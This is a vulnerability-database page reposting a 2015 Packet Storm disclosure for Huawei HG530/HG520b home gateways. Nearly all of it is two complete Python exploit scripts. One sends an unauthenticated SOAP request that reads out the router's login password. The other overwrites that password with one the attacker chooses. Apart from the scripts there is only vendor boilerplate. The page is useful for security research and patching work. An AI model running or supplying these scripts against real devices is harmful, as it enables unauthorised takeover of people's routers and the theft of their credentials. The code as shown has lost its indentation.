Lucene search
K

Huawei Home Gateway HG530 / HG520b Password Disclosure / Change

🗓️ 29 Jun 2015 00:00:00Reported by Fady Mohamed OsmanType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Huawei Home Gateway HG530 / HG520b Password Disclosure / Chang

Code
`---- Exploit 1 ----  
  
getRouterPass_Huawei_HG530.py:  
  
#! /usr/bin/python  
import socket  
import sys  
import re  
  
if len(sys.argv) !=2:  
print "[*] Please enter the target ip."  
print "[*] Usage : " + sys.argv[0] + " IP_ADDR"  
exit()  
# Create a TCP/IP socket  
target_host = sys.argv[1]  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
# Connect the socket to the port where the server is listening  
server_address = (target_host, 80)  
print >>sys.stderr, '[*] Connecting to %s port %s' % server_address  
sock.connect(server_address)  
try:  
soap = "<?xml version=\"1.0\"?>"  
soap +="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"  
soap +="<s:Body>"  
soap +="<m:GetLoginPassword xmlns:m=\"urn:dslforum-org:service:UserInterface:1\">"  
soap +="</m:GetLoginPassword>"  
soap +="</s:Body>"  
soap +="</s:Envelope>"  
message = "POST /UD/?5 HTTP/1.1\r\n"  
message += "SOAPACTION: \"urn:dslforum-org:service:UserInterface:1#GetLoginPassword\"\r\n"  
message += "Content-Type: text/xml; charset=\"utf-8\"\r\n"  
message += "Host:" + target_host + "\r\n"  
message += "Content-Length:" + str(len(soap)) +"\r\n"  
message += "Expect: 100-continue\r\n"  
message += "Connection: Keep-Alive\r\n\r\n"  
sock.send(message)  
data = sock.recv(1024)  
print "[*] Recieved : " + data.strip()  
sock.send(soap)  
data = sock.recv(1024)  
data += sock.recv(1024)  
#print data  
r = re.compile('<NewUserpassword>(.*?)</NewUserpassword>')  
m = r.search(data)  
if m:  
print "[*] Found the password: " + m.group(1)  
finally:  
sock.close()  
  
  
  
  
---- Exploit 2 ----  
  
setRouterPass_Huawei_HG530.py:  
  
#! /usr/bin/python  
import socket  
import sys  
import re  
  
if len(sys.argv) !=3:  
print "[*] Please enter the target ip and the new password."  
print "[*] Usage : " + sys.argv[0] + " IP_ADDR NEW_PASS"  
exit()  
  
# Create a TCP/IP socket  
target_host = sys.argv[1]  
new_pass = sys.argv[2]  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
# Connect the socket to the port where the server is listening  
server_address = (target_host, 80)  
print >>sys.stderr, '[*] Connecting to %s port %s' % server_address  
sock.connect(server_address)  
try:  
soap = "<?xml version=\"1.0\"?>"  
soap +="<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"  
soap +="<s:Body>"  
soap +="<m:SetLoginPassword xmlns:m=\"urn:dslforum-org:service:UserInterface:1\">"  
soap +="<NewUserpassword>"+new_pass+"</NewUserpassword>"  
soap +="</m:SetLoginPassword>"  
soap +="</s:Body>"  
soap +="</s:Envelope>"  
message = "POST /UD/?5 HTTP/1.1\r\n"  
message += "SOAPACTION: \"urn:dslforum-org:service:UserInterface:1#SetLoginPassword\"\r\n"  
message += "Content-Type: text/xml; charset=\"utf-8\"\r\n"  
message += "Host:" + target_host + "\r\n"  
message += "Content-Length: " + str(len(soap)) + "\r\n"  
message += "Expect: 100-continue\r\n"  
message += "Connection: Keep-Alive\r\n\r\n"  
sock.send(message)  
data = sock.recv(1024)  
print "[*] Recieved : " + data.strip()  
sock.send(soap)  
data = sock.recv(1024)  
data += sock.recv(1024)  
print "[*] Done."  
finally:  
sock.close()  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation